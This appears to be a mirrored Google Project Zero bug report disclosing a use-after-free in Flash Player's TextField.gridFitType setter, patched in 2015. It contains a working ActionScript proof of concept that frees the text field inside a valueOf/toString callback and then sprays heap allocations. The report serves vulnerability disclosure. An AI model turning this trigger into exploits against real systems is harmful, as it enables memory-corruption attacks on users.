search

VegarLH / google-security-research

Automatically exported from code.google.com/p/google-security-research
0 stars 0 forks source link

Use-after-free in TextField.gridFitType #418

Closed GoogleCodeExporter closed 9 years ago

GoogleCodeExporter commented 9 years ago 
There is a use-after-free in the TextField gridFitType setter. A PoC is below:

var test = this.createTextField("test", 1, 0, 0, 100, 100);
var n = {toString : func, valueOf : func};
test.gridFitType = n;

function func(){

    test.removeTextField();
    for(var i = 0; i < 1000; i++){
        var b = new flash.display.BitmapData(1000, 1000, true, 10);
        }
    trace("here");
    return "natalie";

    }

A PoC and fla are attached. Some other setters (thickness, tabIndex, etc.) are 
also impacted by the same UaF condition, additional SWFs are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 1 Jun 2015 at 9:09

Attachments:

GoogleCodeExporter commented 9 years ago 
PSIRT-3788

Original comment by natashe...@google.com on 3 Jun 2015 at 9:41

GoogleCodeExporter commented 9 years ago

Original comment by natashe...@google.com on 11 Aug 2015 at 3:23

GoogleCodeExporter commented 9 years ago 
Fixed in https://helpx.adobe.com/security/products/flash-player/apsb15-19.html

Original comment by natashe...@google.com on 18 Aug 2015 at 7:41